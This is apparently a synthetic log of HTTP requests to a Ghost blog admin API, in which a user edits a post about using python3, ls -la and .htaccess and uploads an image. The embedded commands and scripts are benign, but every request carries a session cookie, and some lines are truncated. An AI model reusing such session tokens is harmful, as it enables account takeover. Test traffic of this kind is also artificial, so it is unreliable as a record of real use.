idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8008", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/assets/posts-route-h3vCXYi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/posts-list-screen-DaiQl198.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/container-D71ORA1Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/hover-card-Cnz0ewmR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filters-BcpL-PeQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filter-bar-D1e2wPCO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-reveal-on-mount-BnFofzIX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-email-sending-status-CbZSbPwi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-sending-eta-ifdScs48.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/nql-BKk2g5D7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/nql-lang-BhvCNMUQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45710d281b00001a598a4\"]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/themes/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 508", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpp0PMguEumdZ1a8", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"feature.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAHgAAABQCAIAAABd+SbeAAAAqElEQVR4nO3QAQkAIADAMOOYycTGsoXCHTzA2dhr6kLj+cEngQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnSrAwedWdHCzExoAAAAAElFTkSuQmCC\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8--\r\n"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8057", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/content/images/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27PowerShell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8088", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess 